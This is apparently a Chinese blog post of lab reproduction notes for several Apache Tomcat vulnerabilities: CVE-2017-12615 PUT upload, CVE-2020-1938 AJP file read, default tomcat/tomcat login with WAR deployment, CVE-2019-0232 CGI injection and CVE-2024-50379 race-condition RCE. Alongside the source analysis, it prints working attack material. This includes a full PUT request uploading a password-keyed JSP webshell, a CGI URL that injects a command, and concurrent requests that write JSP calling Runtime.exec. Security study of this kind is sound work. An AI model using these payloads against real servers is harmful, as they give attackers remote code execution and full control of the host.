CVE-2017-12615 文件上传
影响范围: 7.0.0 – 7.0.79 以及 8.5.19
类型: 文件上传 远程代码执行
危害等级: 高危,攻击者利用该漏洞可直接上传 webshell (远程代码执行)从而完全控制服务器主机
漏洞分析
特殊构造拓展名可以让tomcat视为非jsp,但让操作系统仍视作jsp
前提条件为在 conf/web.xml 中 readonly 的设置为 false,漏洞便可触发
8.5.x版本的Tomcat源码的web.xml中如下片段可得
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
当请求文件后缀为.jsp或.jspx会调用JSP servlet处理请求,而其他的请求则会交给Default servlet,经过测试直接上传.jsp会返回404

则可知 JSP servlet 并不能处理 PUT 请求,那么如果对后缀名进行特殊构造,便可成功将请求转给Default servlet的同时使后缀名可以正常解析。
如有如下后缀名构造:
.jsp/
.jsp::DATA$
.jsp%20
便可令tomcat处理请求时调用Default servlet而不是JSP servlet(后两种适用于Windows),在解析文件时仍然可以正常作jsp文件解析
至此,任意文件上传写入漏洞便已经形成
漏洞复现操作过程
刷新页面进行抓包,改GET为PUT,并设置路由为/rice.jsp/
PUT /rice.jsp/ HTTP/1.1
Host: 101.200.194.135:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C1D029AB615D778DE0B7EAD91903E6E8
Connection: close
Content-Length: 958
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
测试浏览器访问/rice.jsp,返回空白页面,写入成功
使用蚁剑进行连接,密码passwd

测试连接成功,复现完成
CVE-2020-1938 文件读取
影响范围:Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
类型: 文件读取
危害等级: 高危,利用该漏洞可以读取 Tomcat所有 webapp 目录下的文件
漏洞分析
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009
漏洞由于Tomcat AJP协议存在缺陷而导致
conf/server.xml 中两个connecto配置:
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
......
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理,会将ajp里面的内容取出设置成request对象的Attribute属性,大致经过了流程:
private void prepareRequest() {
// Translate the HTTP method code to a String.
...
// Decode headers
...
// Set this every time in case limit has been changed via JMX
...
// Decode extra attributes //关键点
...
// Check if secret was submitted if required
...
// Check for a full URI (including protocol://host:port/)
...
}
即下面代码片段
// Decode extra attributes
String requiredSecret = protocol.getRequiredSecret();
boolean secret = false;
byte attributeCode;
while ((attributeCode = requestHeaderMessage.getByte())
!= Constants.SC_A_ARE_DONE) {
switch (attributeCode) {
case Constants.SC_A_REQ_ATTRIBUTE :
requestHeaderMessage.getBytes(tmpMB);
String n = tmpMB.toString();
requestHeaderMessage.getBytes(tmpMB);
String v = tmpMB.toString();
/*
* AJP13 misses to forward the local IP address and the
* remote port. Allow the AJP connector to add this info via
* private request attributes.
* We will accept the forwarded data and remove it from the
* public list of request attributes.
*/
if(n.equals(Constants.SC_A_REQ_LOCAL_ADDR)) {
request.localAddr().setString(v);
} else if(n.equals(Constants.SC_A_REQ_REMOTE_PORT)) {
try {
request.setRemotePort(Integer.parseInt(v));
} catch (NumberFormatException nfe) {
// Ignore invalid value
}
} else if(n.equals(Constants.SC_A_SSL_PROTOCOL)) {
request.setAttribute(SSLSupport.PROTOCOL_VERSION_KEY, v);
} else {
request.setAttribute(n, v );
}
break;
这一步会通过 switch case 来判断请求头的字段名称是不是预先定义好的,如果是预先定义的直接设置 request 对象的对应属性即可,如果不是预先定义好的会生成键值对添加到 attributes 中
之后进入Adapter解析请求,选择合适的 Wrapper
// Process the request in the adapter
if (!getErrorState().isError()) {
try {
rp.setStage(org.apache.coyote.Constants.STAGE_SERVICE);
getAdapter().service(request, response);
} catch (InterruptedIOException e) {
setErrorState(ErrorState.CLOSE_CONNECTION_NOW, e);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLog().error(sm.getString("ajpprocessor.request.process"), t);
// 500 - Internal Server Error
response.setStatus(500);
setErrorState(ErrorState.CLOSE_CLEAN, t);
getAdapter().log(request, response, 0);
}
}
进入 internalMapWrapper 函数(在org.apache.catalina.mapper.Mapper里面,五个rule),为不同的 uri 选择合适的 wrapper
匹配规则:
// Rule 1 -- Exact Match
// Rule 2 -- Prefix Match
// Rule 3 -- Extension Match
// Rule 4 -- Welcome resources processing for servlets
// Rule 4a -- Welcome resources processing for exact macth
// Rule 4b -- Welcome resources processing for prefix match
// Rule 4c -- Welcome resources processing for physical folder
// Rule 7 -- Default servlet
设置好了 wrapper 后会初始化 servlet,最后在 HttpServlet 中调用 service,然后对应 servlet 来接着处理
如果进入了 DefaultServlet(rule7),service 函数会调用 doGet
protected void service(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if (req.getDispatcherType() == DispatcherType.ERROR) {
doGet(req, resp); //这里调用了doget
} else {
super.service(req, resp);
}
}
而 doGet 中会利用 serveResource 读取文件内容(要来力)
protected void doGet(HttpServletRequest request,
HttpServletResponse response)
throws IOException, ServletException {
// Serve the requested resource, including the data content
serveResource(request, response, true, fileEncoding); //这里插个眼,关键点
}
serverREsource里面又调用getRelativePath去获取路径
String path = getRelativePath(request, true);
那就再接着找(文件上传那个洞的功能实现里doPUT也调用这个了)
protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
//芝士节选后的片段
String servletPath;
String pathInfo;
if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
// For includes, get the info from the attributes
pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);
servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);
} else {
pathInfo = request.getPathInfo();
servletPath = request.getServletPath();
}
}
当我们能控制 INCLUDE_REQUEST_URI,INCLUDE_PATH_INFO,INCLUDE_SERVLET_PATH 这三个参数时就可以控制路径(path)
serverREsource里面还调用了
String path = getRelativePath(request, true);
......
WebResource resource = resources.getResource(path);
按照路径去读文件资源(哈哈道爷我成啦
漏洞复现操作过程

vulhub开启容器,之后nmap一下本机,可以看到8080和8009端口的开放(8009为AJP)
尝试读取web.xml

成功读取,测试读取index.jsp也可,结合文件上传漏洞可以实现包含
Tomcat8 弱口令+war远程部署
影响范围: tomcat8
类型: 未授权登录,越权
危害等级: 高危,攻击者利用该漏洞可直接登录后台上传恶意文件
漏洞分析
在 tomcat8 环境下默认进入后台的密码为tomcat/tomcat(有的时候是admin/admin),未进行修改配置会导致未授权的登录
漏洞复现操作过程
启动环境,登录8080,直接利用tomcat/tomcat进行登录

可以看到成功登录

之后将rice.jsp打包成war包(rice.jsp为java马)
上传后进行访问,白页面说明上传成功了

直接蚁剑测试连接

连接成功,说明马生效,复现完成
CVE-2019-0232 RCE
影响范围: 9.0.0.M1 到 9.0.17
8.5.0 到 8.5.39
7.0.0到 7.0.93
类型: RCE
危害等级: 高危,攻击者利用该漏洞可直接执行任意命令
漏洞分析
漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中
CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据RFC 3875(一个协议)来从Url参数中生成命令行的参数,并把参数传递至 Runtime 执行
这个漏洞是因为 Runtime.getRuntime().exec 在 Windows 中和 Linux 中底层实现不同导致的
Java的 Runtime.getRuntime().exec 在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess (函数),会将参数合并成字符串,作为 lpComandLine 参数传给 CreateProcess 。
也就是说,所有要执行的命令和参数会被拼接成一个完整的字符串。
程序启动后调用 GetCommandLine 获取参数,并调用 CommandLineToArgvW 转成参数的一个数组。
在Windows中,当 CreateProcess 函数中的参数为 bat 文件或是 cmd 文件时,会去调用 cmd.exe , 故最后会变成 cmd.exe /c “arg.bat & dir”,而 java 的调用过程并没有做任何的转义,所以在Windows下会存在漏洞
漏洞复现操作
缺德的tomcat启动不起来,操作不了一点(机魂不悦)
复现过程应为如下:
在 conf/web.xml 中找到注释的 CGIServlet部分,去掉注释,(Tomcat的 CGI_Servlet组件默认是关闭的)并配置enableCmdLineArguments 和 executable
最终该部分为如下就ok
<servlet>
<servlet name>cgi</servlet-name)
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param name>cgiPathPrefix</param name)
<param-value>WEB-INF/cgi</param-value)
</init-param>
<init-param>
<paramname>enableCmdLineArguments</param name
<param-value>true</param value>
</init-param>
<init-param>
<paramname>executable<paramname)
<param-value></paramvalue>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
然后在conf/web.xml中启用cgi的 servlet-mapping,之后去修改conf/context.xml的添加 privileged=”true”属性,否则会没有权限
最后在 webapps\ROOT\WEB-INF 下创建 cgi-bin 目录,里面写一个hello.bat,内容如下:
@echo off
echo Content-Type:text/plain
echo.
set foo=%~1
%foo%
到这就搭建好了,之后去打一个↓就可以看到弹出计算器了
localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
CVE-2024-50379 RCE
影响范围: 11.0.0-M1 <= Apache Tomcat < 11.0.2
10.1.0-M1 <= Apache Tomcat < 10.1.34
9.0.0.M1 <= Apache Tomcat < 9.0.98
类型: RCE 条件竞争
危害等级: 高危,RCE
漏洞分析
基于 CVE-2017-12615 readonly设置为 false ,且允许PUT类型文件上传,就可以上传恶意文件。
windows 不区分大小写,(所以Linux没有这个洞)在上传Jsp后,如果被解析到,仍然可以当作正经的jsp解析,当文件写入和访问同时发生时就会导致 jsp 文件被写入时触发编译,在文件被完全编译成.class文件并删除前被请求解析,此时就触发RCE
漏洞复现操作
虚拟机起tomcat

之后物理机测试一下访问,可以访问到说明功能正常
之后利用Yakit,并发如下四个数据包
PUT /test1.Jsp HTTP/1.1
Host: 192.168.20.129:8080
Content-Type: application/json
aa<% Runtime.getRuntime().exec("calc.exe");%>
PUT /test2.Jsp HTTP/1.1
Host: 192.168.20.129:8080
Content-Type: application/json
aa<% Runtime.getRuntime().exec("calc.exe");%>
GET /test1.jsp HTTP/1.1
Host: 192.168.20.129:8080
Content-Type: application/json
GET /test2.jsp HTTP/1.1
Host: 192.168.20.129:8080
Content-Type: application/json
并发20和5000(请求的比写入的多容易成功一些)
等待一会便可见运行tomcat的虚拟机成功弹出计算器

多发点玉足
宝宝加油!!!
什么时候更新?
最近学习的脚步虽然没有停下,但是笔记和文章确实没啥产出(
会一直更新的